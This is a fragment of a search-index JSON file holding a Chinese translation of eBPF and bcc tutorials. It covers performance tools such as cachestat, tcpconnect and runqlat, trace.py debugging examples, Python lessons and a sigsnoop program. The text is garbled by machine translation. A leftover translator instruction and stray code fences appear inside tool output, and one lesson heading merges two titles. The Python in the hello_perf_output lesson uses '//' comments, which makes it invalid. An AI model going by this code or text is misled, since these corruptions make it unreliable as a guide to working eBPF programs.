xvda1 W 13188496 4096 0.93\n[...] biosnoop为每个磁盘I/O打印一行输出，其中包括延迟（从设备执行到完成的时间）等详细信息。 这让您可以更详细地研究磁盘I/O，并寻找按时间排序的模式（例如，读取在写入后排队）。请注意，如果您的系统以高速率执行磁盘I/O，则输出将冗长。 更多 示例 。 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223\"。\n格式：仅返回翻译后的内容，不包括原始文本。```\n7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat 每秒（或每个自定义时间间隔）打印一行摘要，显示文件系统缓存的统计信息。 可以用它来识别低缓存命中率和高缺失率，这是性能调优的线索之一。 更多 示例 。 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect 每个活动的 TCP 连接（例如通过 connect()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept 每个被动的 TCP 连接（例如通过 accept()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.9. tcpretrans # ./tcpretrans\".\n```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立\n[...] tcpretrans为每个TCP重传数据包打印一行输出，其中包括源地址、目的地址以及TCP连接的内核状态。 TCP重传会导致延迟和吞吐量问题。对于已建立的重传，可以查找与网络有关的模式。对于SYN_SENT，可能指向目标内核CPU饱和和内核数据包丢失。 更多 示例 。 1.10. runqlat # ./runqlat\n跟踪运行队列延迟... 按Ctrl-C结束。\n^C 微秒数 : 计数 分布 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* |\".16384 -> 32767 : 809 |****************************************|\n32768 -> 65535 : 64 |*** | 这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。 更多 示例 。 1.11. 分析 # ./profile\n以每秒49次的频率对所有线程进行采样，包括用户和内核栈...按Ctrl-C结束。\n^C 00007f31d76c3251 [未知] 47a2c1e752bf47f7 [未知] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [未知] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile是一个CPU分析工具，它在定时间隔内采样堆栈跟踪，并打印唯一堆栈跟踪的摘要及其出现次数。 使用此工具来了解消耗CPU资源的代码路径。 更多 示例 。","breadcrumbs":"bcc Tutorial » 1. 性能分析","id":"369","title":"1. 性能分析"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"370":{"body":"除了上述用于性能调整的工具外，下面是一个bcc通用工具的清单，首先是一个列表，然后详细说明： trace argdist funccount这些通用工具可能有助于解决您特定问题的可视化。 2.1. 跟踪 示例 1 假设您想要跟踪文件所有权更改。有三个系统调用，chown、fchown和lchown，用户可以使用它们来更改文件所有权。相应的系统调用入口是SyS_[f|l]chown。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用id命令查找特定用户的UID。 $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 示例 2 假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换（nvcsw），而您不知道正确的方法是什么。/proc//status已经告诉您进程的非自愿上下文切换（nonvoluntary_ctxt_switches）的数量，并且您可以使用trace.py进行快速实验以验证您的方法。根据内核源代码，nvcsw在文件linux/kernel/sched/core.c的__schedule函数中计数，并满足以下条件： .!(!preempt && prev->state) // 即 preempt || !prev->state __schedule 函数被标记为 notrace ，评估上述条件的最佳位置似乎在函数 __schedule 内部的 sched/sched_switch 跟踪点中，并且在 linux/include/trace/events/sched.h 中定义。trace.py 已经将 args 设置为跟踪点 TP_STRUCT__entry 的指针。函数 __schedule 中的上述条件可以表示为 args->prev_state == TASK_STATE_MAX || args->prev_state == 0 可以使用以下命令来计算非自愿上下文切换（每个进程或每个进程ID），并与 /proc//status 或 /proc//task//status 进行比较，以确保正确性，因为在典型情况下，非自愿上下文切换并不常见。 $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... 示例 3 此示例与问题 1231 和 1516 相关，其中在某些情况下，uprobes 完全无法工作。首先，你可以执行以下 strace $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... perf_event_open系统调用返回-EIO。在/kernel/trace和/kernel/events目录中查找与EIO相关的内核uprobe代码，函数uprobe_register最可疑。让我们找出是否调用了这个函数，如果调用了，返回值是什么。在一个终端中使用以下命令打印出uprobe_register的返回值： trace.py 'r::uprobe_register \"ret = %d\", retval' 在另一个终端中运行相同的bash uretprobe跟踪示例，您应该得到： $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 错误代码-5是EIO。这证实了函数uprobe_register中的以下代码是最可疑的罪魁祸首。 if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; shmem_mapping函数定义如下： bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} 为了确认这个理论，使用以下命令找出inode->i_mapping->a_ops的值： $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops 内核符号empty_aops没有定义readpage，因此上述可疑条件为真。进一步检查内核源代码显示，overlayfs没有提供自己的a_ops，而其他一些文件系统（例如ext4）定义了自己的a_ops（例如ext4_da_aops），并且ext4_da_aops定义了readpage。因此，uprobe对于ext4正常工作，但在overlayfs上不正常工作。 更多 示例 。 2.2. argdist\"。更多 示例 2.3. funccount 更多 示例 .","breadcrumbs":"bcc Tutorial » 2. 使用通用工具进行可观察性","id":"370","title":"2. 使用通用工具进行可观察性"},"371":{"body":"To do.","breadcrumbs":"bcc Tutorial » 网络","id":"371","title":"网络"},"372":{"body":"本教程介绍使用 Python 接口开发 bcc 工具和程序。分为两个部分：可观测性和网络。代码片段取自 bcc 的各个程序，请查阅其文件以了解许可证情况。 还请参阅 bcc 开发者的 参考指南 ，以及针对工具的用户的教程： 教程 。还有适用于 bcc 的 lua 接口。","breadcrumbs":"bcc Python Developer Tutorial » bcc Python 开发者教程","id":"372","title":"bcc Python 开发者教程"},"373":{"body":"这个可观测性教程包含17个课程和46个要学习的枚举事项。","breadcrumbs":"bcc Python Developer Tutorial » 可观测性","id":"373","title":"可观测性"},"374":{"body":"首先运行 examples/hello_world.py ，同时在另一个会话中运行一些命令（例如，“ls”）。它应该会为新进程打印“Hello, World!”。如果没有打印，请先修复bcc：请参阅 INSTALL.md 。 # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] 以下是 hello_world.py 的代码示例： from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() 从中可以学到六件事情： text='...'：这定义了内联的 BPF 程序。该程序是用 C 编写的。 kprobe__sys_clone()：这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 kprobe__ 开头，其余部分将被视为要定位的内核函数名称，本例中为 sys_clone()。 void *ctx：ctx 是参数，但由于我们在此处未使用它们，所以我们将其转换为 void* 类型。 bpf_trace_printk(): 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的，但有一些限制：最多只有 3 个参数，只能有一个 %s，并且 trace_pipe 是全局共享的，所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的，稍后会介绍。 return 0;: 必要的规范性代码（如果想知道原因，请参见 #139 ）。 .trace_print(): 一个读取 trace_pipe 并打印输出的 bcc 程序。","breadcrumbs":"bcc Python Developer Tutorial » 第1课. 你好，世界","id":"374","title":"第1课. 你好，世界"},"375":{"body":"编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 \"sys_sync() called\"。在跟踪时，在另一个会话中运行 sync 进行测试。hello_world.py 程序中包含了这一切所需的内容。 通过在程序刚启动时打印 \"Tracing sys_sync()... Ctrl-C to end.\" 来改进它。提示：它只是 Python 代码。","breadcrumbs":"bcc Python Developer Tutorial » 第二课 sys_sync()","id":"375","title":"第二课 sys_sync()"},"376":{"body":"该程序位于 examples/tracing/hello_fields.py 。样本输出（在另一个会话中运行命令）： # examples/tracing/hello_fields.py\n时间(s) 进程名 进程 ID 消息\n24585001.174885999 sshd 1432 你好，世界！\n24585001.195710000 sshd 15780 你好，世界！\n24585001.991976000 systemd-udevd 484 你好，世界！\n24585002.276147000 bash 15787 你好，世界！ 代码： from bcc import BPF # 定义 BPF 程序\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\" # 加载 BPF 程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # 头部\nprint(\"%-18s %-16s %-6s %s\" % (\"时间(s)\", \"进程名\", \"进程 ID\", \"消息\")) # 格式化输出\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 这与hello_world.py类似，并通过sys_clone()再次跟踪新进程，但是还有一些要学习的内容： prog =：这次我们将C程序声明为变量，然后引用它。如果您想根据命令行参数添加一些字符串替换，这将非常有用。 hello()：现在我们只是声明了一个C函数，而不是使用kprobe__的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行，因此它们都需要以pt_reg* ctx作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数，则需要将其定义为static inline，以便由编译器内联。有时您还需要为其添加_always_inline函数属性。 b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\")：为内核clone系统调用函数创建一个kprobe，该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe()，并将您的C函数附加到多个内核函数上。 b.trace_fields()：从trace_pipe中返回一组固定的字段。与trace_print()类似，它对于编写脚本很方便，但是对于实际的工具化需求，我们应该切换到BPF_PERF_OUTPUT()。","breadcrumbs":"bcc Python Developer Tutorial » 第三课 hello_fields.py","id":"376","title":"第三课 hello_fields.py"},"377":{"body":"还记得以前系统管理员在缓慢的控制台上输入sync三次然后才重启吗？后来有人认为sync;sync;sync很聪明，将它们都写在一行上运行，尽管这违背了最初的目的！然后，sync变成了同步操作，所以更加愚蠢。无论如何。 以下示例计算了do_sync函数被调用的速度，并且如果它在一秒钟之内被调用，则输出信息。sync;sync;sync将为第2个和第3个sync打印输出： # examples/tracing/sync_timing.py\n追踪快速sync... 按Ctrl-C结束\"。 在时间0.00秒时：检测到多个同步，上次发生在95毫秒前 在时间0.10秒时：检测到多个同步，上次发生在96毫秒前 此程序是 examples/tracing/sync_timing.py ： from __future__ import print_function\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\n#include  BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // 尝试读取存储的时间戳 tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // 时间小于1秒则输出 bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // 更新存储的时间戳 ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"跟踪快速同步... 按Ctrl-C结束\") # 格式化输出\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"在时间%.2f秒处：检测到多个同步，上次发生在%s毫秒前\" % (ts, ms)) 学习内容： bpf_ktime_get_ns(): 返回时间，单位为纳秒。 BPF_HASH(last): 创建一个BPF映射对象，类型为哈希（关联数组），名为\"last\"。我们没有指定其他参数，因此默认的键和值类型为u64。 key = 0: 我们只会在哈希中存储一个键值对，其中键被硬编码为零。 last.lookup(&key): 在哈希中查找键，并如果存在则返回其值的指针，否则返回NULL。我们将键作为指针的地址传递给该函数。 if (tsp != NULL) {: 验证器要求在将从映射查找得到的指针值解引用使用之前，必须先检查其是否为null。1. last.delete(&key): 从哈希表中删除key。目前需要这样做是因为 .update()中存在一个内核错误 （在4.8.10中已经修复）。 last.update(&key, &ts): 将第二个参数的值与key关联起来，覆盖之前的任何值。这会记录时间戳。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"377","title":"Lesson 4. sync_timing.py"},"378":{"body":"修改sync_timing.py程序（前一课）以存储所有内核同步系统调用（包括快速和慢速）的计数，并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。","breadcrumbs":"bcc Python Developer Tutorial » 第5课. sync_count.py","id":"378","title":"第5课. sync_count.py"},"379":{"body":"浏览 examples/tracing/disksnoop.py 程序以了解新内容。以下是一些示例输出： # disksnoop.py\n时间(s) T 字节 延迟(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] 以及代码片段： [...]\nREQ_WRITE = 1 # 来自include/linux/blk_types.h # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // 使用请求指针存储开始时间戳 u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\") else: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\") [...] 学习内容： REQ_WRITE: 我们在Python程序中定义了一个内核常量，因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE，它应该可以正常工作（无需定义），只需使用适当的#includes。 trace_start(struct pt_regs *ctx, struct request*req): 这个函数将在后面附加到kprobe上。kprobe函数的参数是struct pt_regs *ctx，用于寄存器和BPF上下文，然后是函数的实际参数。我们将把它附加到blk_start_request()上，其中第一个参数是struct request*。 start.update(&req, &ts): 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键，因为它们是唯一的：两个结构体不能具有相同的指针地址。（只需小心何时释放和重用指针。）所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳，以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID（用于记录函数入口到返回的时间）。 req->__data_len: 我们在解引用struct request的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列bpf_probe_read_kernel()调用。有时bcc无法处理复杂的解引用，此时您需要直接调用bpf_probe_read_kernel()。 这是一个非常有趣的程序，如果您能理解所有的代码，您就会理解很多重要的基础知识。我们仍然在使用bpf_trace_printk()的技巧，我们下一步要解决这个问题。","breadcrumbs":"bcc Python Developer Tutorial » 第6课. disksnoop.py","id":"379","title":"第6课. disksnoop.py"},"38":{"body":"示例代码如下： #include \n#include \n#include  #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d \", eventp->pid, eventp->comm, eventp->sig); bpf_printk(\"to PID %d, ret = %d\", eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"380":{"body":"让我们最终停止使用bpf_trace_printk()，并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员，如PID和时间戳，并且需要直接获取它们。在另一个会话中运行命令时的示例输出 # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 你好，perf_output！\n0.021080275 systemd-udevd 484 你好，perf_output！\n0.021359520 systemd-udevd 484 你好，perf_output！\n0.021590610 systemd-udevd 484 你好，perf_output！\n[...] 代码位于 examples/tracing/hello_perf_output.py ： from bcc import BPF // 定义BPF程序\nprog = \"\"\"\n#include  // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" // 加载BPF程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") //标题\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) //处理事件\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"你好，perf_output！\")) //循环并回调print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() 学习的内容： struct data_t: 这定义了一个C结构体，我们将用它来从内核传递数据到用户空间。1. BPF_PERF_OUTPUT(events): 这里给我们的输出通道命名为\"events\"。 struct data_t data = {};: 创建一个空的data_t结构体，我们将在之后填充它。 bpf_get_current_pid_tgid(): 返回低32位的进程ID（内核视图中的PID，用户空间中通常被表示为线程ID），以及高32位的线程组ID（用户空间通常认为是PID）。通过直接将其设置为u32，我们丢弃了高32位。应该显示PID还是TGID？对于多线程应用程序，TGID将是相同的，所以如果你想要区分它们，你需要PID。这也是对最终用户期望的一个问题。 bpf_get_current_comm(): 将当前进程的名称填充到第一个参数的地址中。 events.perf_submit(): 通过perf环形缓冲区将事件提交给用户空间以供读取。 def print_event(): 定义一个Python函数来处理从events流中读取的事件。 b[\"events\"].event(data): 现在将事件作为一个Python对象获取，该对象是根据C声明自动生成的。 b[\"events\"].open_perf_buffer(print_event): 将Python的print_event函数与events流关联起来。 while 1: b.perf_buffer_poll(): 阻塞等待事件。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"380","title":"Lesson 7. hello_perf_output.py"},"381":{"body":"重写之前的课程中的sync_timing.py，使用BPF_PERF_OUTPUT。","breadcrumbs":"bcc Python Developer Tutorial » 第八课。 sync_perf_output.py","id":"381","title":"第八课。 sync_perf_output.py"},"382":{"body":"以下工具记录了磁盘I/O大小的直方图。样本输出： # bitehist.py\n跟踪中... 按Ctrl-C结束。\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | |\".32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 代码在 examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # 头部\nprint(\"跟踪中... 按Ctrl-C结束.\") # 跟踪直到按下Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # 输出\nb[\"dist\"].print_log2_hist(\"kbytes\") 之前课程的总结： kprobe__: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。 struct pt_regs *ctx, struct request*req: kprobe的参数。ctx 是寄存器和BPF上下文，req 是被插桩函数 blk_account_io_done() 的第一个参数。 req->__data_len: 解引用该成员。 新知识： BPF_HISTOGRAM(dist): 定义了一个名为 \"dist\" 的BPF映射对象，它是一个直方图。 dist.increment(): 默认情况下，将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。 bpf_log2l(): 返回所提供值的对数值。这将成为我们直方图的索引，这样我们构建了一个以2为底的幂直方图。 b[\"dist\"].print_log2_hist(\"kbytes\"): 以2为底的幂形式打印 \"dist\" 直方图，列标题为 \"kbytes\"。这样只有桶计数从内核传输到用户空间，因此效率高。","breadcrumbs":"bcc Python Developer Tutorial » 第九课。 bitehist.py","id":"382","title":"第九课。 bitehist.py"},"383":{"body":"这个例子分为独立的Python和C文件。示例输出： # vfsreadlat.py 1\n跟踪中... 按Ctrl-C停止。 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | 微秒 : 数量 分布 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] 浏览 examples/tracing/vfsreadlat.py 和 examples/tracing/vfsreadlat.c 中的代码。 学习的内容: b = BPF(src_file = \"vfsreadlat.c\"): 从单独的源代码文件中读取 BPF C 程序。 b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): 将 BPF C 函数 do_return() 链接到内核函数 vfs_read() 的返回值上。这是一个 kretprobe：用于检测函数返回值，而不是函数的入口。 b[\"dist\"].clear(): 清除直方图。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py","id":"383","title":"Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py"},"384":{"body":"当运行 